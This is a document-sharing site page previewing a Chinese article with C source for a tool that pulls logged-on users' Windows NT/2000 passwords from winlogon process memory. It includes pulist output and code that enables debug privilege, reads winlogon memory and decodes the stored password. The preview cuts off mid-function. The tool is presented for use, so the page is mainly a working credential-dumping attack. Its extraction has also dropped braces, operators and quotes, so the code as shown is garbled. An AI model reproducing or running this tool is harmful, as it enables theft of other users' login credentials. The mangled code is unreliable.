




已阅读5页,还剩14页未读, 继续免费阅读
版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领
文档简介
Windows Logon Process,Windows NT 用户登陆程序,管理用户登录和退出。因为登陆的域名和用户名是明文存储在winlogon进程里的,而Password是限定了查找本进程用户的密码,然后到winlogon进程的空间中查找UserDomain和UserName ,找到后就查后边的加密口令。其实只要你自己指定用户名和winlogon进程去查找就行了,只要你是管理员,任何本机用msgina.dll图形登陆的用户口令都可以找到。1. pulist,找到系统里登陆的域名和用户名,及winlogon进程id 2. 然后给每个winlogon进程id查找指定的用户就行了。example:C:Documents and Settingsbinglepulist Process PID User Idle 0 System 8 smss.exe 164 NT AUTHORITYSYSTEM csrss.exe 192 NT AUTHORITYSYSTEM winlogon.exe 188 NT AUTHORITYSYSTEM wins.exe 1212 NT AUTHORITYSYSTEM Explorer.exe 388 TEST-2KSERVERAdministrator internat.exe 1828 TEST-2KSERVERAdministrator conime.exe 1868 TEST-2KSERVERAdministrator msiexec.exe 1904 NT AUTHORITYSYSTEM tlntsvr.exe 1048 NT AUTHORITYSYSTEM taskmgr.exe 1752 TEST-2KSERVERAdministrator csrss.exe 2056 NT AUTHORITYSYSTEM winlogon.exe 2416 NT AUTHORITYSYSTEM rdpclip.exe 2448 TEST-2KSERVERclovea Explorer.exe 2408 TEST-2KSERVERclovea internat.exe 1480 TEST-2KSERVERclovea cmd.exe 2508 TEST-2KSERVERAdministrator ntshell.exe 368 TEST-2KSERVERAdministrator ntshell.exe 1548 TEST-2KSERVERAdministrator ntshell.exe 1504 TEST-2KSERVERAdministrator csrss.exe 1088 NT AUTHORITYSYSTEM winlogon.exe 1876 NT AUTHORITYSYSTEM rdpclip.exe 1680 TEST-2KSERVERbingle Explorer.exe 2244 TEST-2KSERVERbingle conime.exe 2288 TEST-2KSERVERbingle internat.exe 1592 TEST-2KSERVERbingle cmd.exe 1692 TEST-2KSERVERbingle mdm.exe 2476 TEST-2KSERVERbingle taskmgr.exe 752 TEST-2KSERVERbingle pulist.exe 2532 TEST-2KSERVERbingle具体实现代码如下双击代码全选#include #include #include #include typedef struct _UNICODE_STRING USHORT Length; USHORT MaximumLength; PWSTR Buffer; UNICODE_STRING, *PUNICODE_STRING; / Undocumented typedefs typedef struct _QUERY_SYSTEM_INFORMATION DWORD GrantedAccess; DWORD PID; WORD HandleType; WORD HandleId; DWORD Handle; QUERY_SYSTEM_INFORMATION, *PQUERY_SYSTEM_INFORMATION; typedef struct _PROCESS_INFO_HEADER DWORD Count; DWORD Unk04; DWORD Unk08; PROCESS_INFO_HEADER, *PPROCESS_INFO_HEADER; typedef struct _PROCESS_INFO DWORD LoadAddress; DWORD Size; DWORD Unk08; DWORD Enumerator; DWORD Unk10; char Name 0x108; PROCESS_INFO, *PPROCESS_INFO; typedef struct _ENCODED_PASSWORD_INFO DWORD HashByte; DWORD Unk04; DWORD Unk08; DWORD Unk0C; FILETIME LoggedOn; DWORD Unk18; DWORD Unk1C; DWORD Unk20; DWORD Unk24; DWORD Unk28; UNICODE_STRING EncodedPassword; ENCODED_PASSWORD_INFO, *PENCODED_PASSWORD_INFO; typedef DWORD (_stdcall *PFNNTQUERYSYSTEMINFORMATION) (DWORD, PVOID, DWORD, PDWORD); typedef PVOID (_stdcall *PFNRTLCREATEQUERYDEBUGBUFFER) (DWORD, DWORD); typedef DWORD (_stdcall *PFNRTLQUERYPROCESSDEBUGINFORMATION) (DWORD, DWORD, PVOID); typedef void (_stdcall *PFNRTLDESTROYQUERYDEBUGBUFFER) (PVOID); typedef void (_stdcall *PFNTRTLRUNDECODEUNICODESTRING) (BYTE, PUNICODE_STRING); / Private Prototypes BOOL IsWinNT (void); BOOL IsWin2K (void); BOOL AddDebugPrivilege (void); DWORD FindWinLogon (void); BOOL LocatePasswordPageWinNT (DWORD, PDWORD); BOOL LocatePasswordPageWin2K (DWORD, PDWORD); void DisplayPasswordWinNT (void); void DisplayPasswordWin2K (void); / Global Variables PFNNTQUERYSYSTEMINFORMATION pfnNtQuerySystemInformation; PFNRTLCREATEQUERYDEBUGBUFFER pfnRtlCreateQueryDebugBuffer; PFNRTLQUERYPROCESSDEBUGINFORMATION pfnRtlQueryProcessDebugInformation; PFNRTLDESTROYQUERYDEBUGBUFFER pfnRtlDestroyQueryDebugBuffer; PFNTRTLRUNDECODEUNICODESTRING pfnRtlRunDecodeUnicodeString; DWORD PasswordLength = 0; PVOID RealPasswordP = NULL; PVOID PasswordP = NULL; DWORD HashByte = 0; wchar_t UserName 0x400; wchar_t UserDomain 0x400; int _cdecl main( int argc, char* argv ) printf( nt To Find Password in the Winlogon processn ); printf( Usage: %s DomainName UserName PID-of-WinLogonnn, argv0 ); if (!IsWinNT () & (!IsWin2K () printf (Windows NT or Windows 2000 are required.n); return (0); / Add debug privilege to PasswordReminder - / this is needed for the search for Winlogon. / 增加PasswordReminder的权限 / 使得PasswordReminder可以打开并调试Winlogon进程 if (!AddDebugPrivilege () printf (Unable to add debug privilege.n); return (0); printf (The debug privilege has been added to PasswordReminder.n); / 获得几个未公开API的入口地址 HINSTANCE hNtDll = LoadLibrary (NTDLL.DLL); pfnNtQuerySystemInformation = (PFNNTQUERYSYSTEMINFORMATION) GetProcAddress (hNtDll, NtQuerySystemInformation); pfnRtlCreateQueryDebugBuffer = (PFNRTLCREATEQUERYDEBUGBUFFER) GetProcAddress (hNtDll, RtlCreateQueryDebugBuffer); pfnRtlQueryProcessDebugInformation = (PFNRTLQUERYPROCESSDEBUGINFORMATION) GetProcAddress (hNtDll, RtlQueryProcessDebugInformation); pfnRtlDestroyQueryDebugBuffer = (PFNRTLDESTROYQUERYDEBUGBUFFER) GetProcAddress (hNtDll, RtlDestroyQueryDebugBuffer); pfnRtlRunDecodeUnicodeString = (PFNTRTLRUNDECODEUNICODESTRING) GetProcAddress (hNtDll, RtlRunDecodeUnicodeString); / Locate WinLogons PID - need debug privilege and admin rights. / 获得Winlogon进程的PID / 这里作者使用了几个Native API,其实使用PSAPI一样可以 DWORD WinLogonPID = argc 3 ? atoi( argv3 ) : FindWinLogon () ; if (WinLogonPID = 0) printf (PasswordReminder is unable to find WinLogon or you are using NWGINA.DLL.n); printf (PasswordReminder is unable to find the password in memory.n); FreeLibrary (hNtDll); return (0); printf(The WinLogon process id is %d (0x%8.8lx).n, WinLogonPID, WinLogonPID); / Set values to check memory block against. / 初始化几个和用户账号相关的变量 memset(UserName, 0, sizeof (UserName); memset(UserDomain, 0, sizeof (UserDomain); if( argc 2 ) mbstowcs( UserName, argv2, sizeof(UserName)/sizeof(*UserName) ); mbstowcs( UserDomain, argv1, sizeof(UserDomain)/sizeof(*UserDomain) ); else GetEnvironmentVariableW(LUSERNAME, UserName, 0x400); GetEnvironmentVariableW(LUSERDOMAIN, UserDomain, 0x400); printf( To find %S%S password in process %d .n, UserDomain, UserName, WinLogonPID ); / Locate the block of memory containing / the password in WinLogons memory space. / 在Winlogon进程中定位包含Password的内存块 BOOL FoundPasswordPage = FALSE; if (IsWin2K () FoundPasswordPage = LocatePasswordPageWin2K (WinLogonPID, &PasswordLength); elseFoundPasswordPage = LocatePasswordPageWinNT (WinLogonPID, &PasswordLength); if (FoundPasswordPage) if (PasswordLength = 0) printf (The logon information is: %S/%S.n, UserDomain, UserName); printf (There is no password.n); else printf (The encoded password is found at 0x%8.8lx and has a length of %d.n, RealPasswordP, PasswordLength); / Decode the password string. if (IsWin2K () DisplayPasswordWin2K (); elseDisplayPasswordWinNT (); elseprintf (PasswordReminder is unable to find the password in memory.n); FreeLibrary (hNtDll); return (0); / main / / IsWinNT函数用来判断操作系统是否WINNT / BOOL IsWinNT (void) OSVERSIONINFO OSVersionInfo; OSVersionInfo.dwOSVersionInfoSize = sizeof (OSVERSIONINFO); if (GetVersionEx (&OSVersionInfo) return (OSVersionInfo.dwPlatformId = VER_PLATFORM_WIN32_NT); elsereturn (FALSE); / IsWinNT / / IsWin2K函数用来判断操作系统是否Win2K / BOOL IsWin2K (void) OSVERSIONINFO OSVersionInfo; OSVersionInfo.dwOSVersionInfoSize = sizeof (OSVERSIONINFO); if (GetVersionEx (&OSVersionInfo) return (OSVersionInfo.dwPlatformId = VER_PLATFORM_WIN32_NT) & (OSVersionInfo.dwMajorVersion = 5); elsereturn (FALSE); / IsWin2K / / AddDebugPrivilege函数用来申请调试Winlogon进程的特权 / BOOL AddDebugPrivilege (void) HANDLE Token; TOKEN_PRIVILEGES TokenPrivileges, PreviousState; DWORD ReturnLength = 0; if (OpenProcessToken (GetCurrentProcess (), TOKEN_QUERY | TOKEN_ADJUST_PRIVILEGES, &Token) if (LookupPrivilegeValue (NULL, SeDebugPrivilege, &TokenPrivileges.Privileges0.Luid) TokenPrivileges.PrivilegeCount = 1; TokenPrivileges.Privileges0.Attributes = SE_PRIVILEGE_ENABLED; return(AdjustTokenPrivileges (Token, FALSE, &TokenPrivileges, sizeof (TOKEN_PRIVILEGES), &PreviousState, &ReturnLength); return (FALSE); / AddDebugPrivilege / / Note that the following code eliminates the need / for PSAPI.DLL as part of the executable. / FindWinLogon函数用来寻找WinLogon进程 / 由于作者使用的是Native API,因此不需要PSAPI的支持 / DWORD FindWinLogon (void) #define INITIAL_ALLOCATION 0x100 DWORD rc = 0; DWORD SizeNeeded = 0; PVOID InfoP = HeapAlloc (GetProcessHeap (), HEAP_ZERO_MEMORY, INITIAL_ALLOCATION); / Find how much memory is required. pfnNtQuerySystemInformation (0x10, InfoP, INITIAL_ALLOCATION, &SizeNeeded); HeapFree (GetProcessHeap (), 0, InfoP); / Now, allocate the proper amount of memory. InfoP = HeapAlloc (GetProcessHeap (), HEAP_ZERO_MEMORY, SizeNeeded); DWORD SizeWritten = SizeNeeded; if (pfnNtQuerySystemInformation (0x10, InfoP, SizeNeeded, &SizeWritten) HeapFree (GetProcessHeap (), 0, InfoP); return (0); DWORD NumHandles = SizeWritten / sizeof (QUERY_SYSTEM_INFORMATION); if (NumHandles = 0) HeapFree (GetProcessHeap (), 0, InfoP); return (0); PQUERY_SYSTEM_INFORMATION QuerySystemInformationP = (PQUERY_SYSTEM_INFORMATION) InfoP; DWORD i; for (i = 1; i HandleType = 5) PVOID DebugBufferP = pfnRtlCreateQueryDebugBuffer (0, 0); if (pfnRtlQueryProcessDebugInformation (QuerySystemInformationP-PID, 1, DebugBufferP) = 0) PPROCESS_INFO_HEADER ProcessInfoHeaderP = (PPROCESS_INFO_HEADER) (DWORD) DebugBufferP + 0x60); DWORD Count = ProcessInfoHeaderP-Count; PPROCESS_INFO ProcessInfoP = (PPROCESS_INFO) (DWORD) ProcessInfoHeaderP + sizeof (PROCESS_INFO_HEADER); if (strstr (_strupr (ProcessInfoP-Name), WINLOGON) != 0) DWORD i; DWORD dw = (DWORD) ProcessInfoP; for (i = 0; i Name), NWGINA) != 0) return (0); if (strstr (_strupr (ProcessInfoP-Name), MSGINA) = 0) rc = QuerySystemInformationP-PID; if (DebugBufferP) pfnRtlDestroyQueryDebugBuffer (DebugBufferP); HeapFree (GetProcessHeap (), 0, InfoP); return (rc); if (DebugBufferP) pfnRtlDestroyQueryDebugBuffer (DebugBufferP); DWORD dw = (DWORD) QuerySystemInformationP; dw += sizeof (QUERY_SYSTEM_INFORMATION); QuerySystemInformationP = (PQUERY_SYSTEM_INFORMATION) dw; HeapFree (GetProcessHeap (), 0, InfoP); return (rc); / FindWinLogon / / LocatePasswordPageWinNT函数用来在NT中找到用户密码 / BOOL LocatePasswordPageWinNT (DWORD WinLogonPID, PDWORD PasswordLength) #define USER_DOMAIN_OFFSET_WINNT 0x200 #define USER_PASSWORD_OFFSET_WINNT 0x400 BOOL rc = FALSE; HANDLE WinLogonHandle = OpenProcess (PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, WinLogonPID); if (WinLogonHandle = 0) return (rc); *PasswordLength = 0; SYSTEM_INFO SystemInfo; GetSystemInfo (&SystemInfo); DWORD PEB = 0x7ffdf000; DWORD BytesCopied = 0; PVOID PEBP = HeapAlloc (GetProcessHeap (), HEAP_ZERO_MEMORY, SystemInfo.dwPageSize); if (!ReadProcessMemory (WinLogonHandle, (PVOID) PEB, PEBP, SystemInfo.dwPageSize, &BytesCopied) Clos
温馨提示
- 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
- 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
- 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
- 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
- 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
- 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
- 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。
最新文档
- 2025年新零售背景下实体书店顾客体验升级研究报告
- 2025至2030年中国减肥药行业市场深度分析及未来发展趋势预测报告
- 解析卷北师大版9年级数学上册期末试题附答案详解【轻巧夺冠】
- 解析卷山东省乐陵市中考数学真题分类(位置与坐标)汇编章节测试试题(含答案解析)
- 解析卷人教版8年级数学下册《平行四边形》定向攻克试题(含详细解析)
- 2025版水利工程地质勘察合同范本
- 2025办公空间租赁合同(含装修及维护条款)
- 2025年度润滑油产品回收与再利用合同
- 2025年度专业图形设计电脑租赁合同范本
- 2025年度餐饮企业员工职业培训合同范本
- 《老年人生活能力康复训练》养老服务与管理专业全套教学课件
- 从课本到奥数课件
- 脑梗死病人-护理查房课件
- 人类行为与社会环境全套课件
- 医院介入手术病人护送交接流程
- 学校家庭教育指导(班主任培训班) 课件
- 骨关节结核教案
- 楼板厚度检测报告
- 纳米材料ppt课件精品课件
- 精神发育迟滞课件
- 最新VTE指南解读(静脉血栓栓塞症的临床护理指南解读)
评论
0/150
提交评论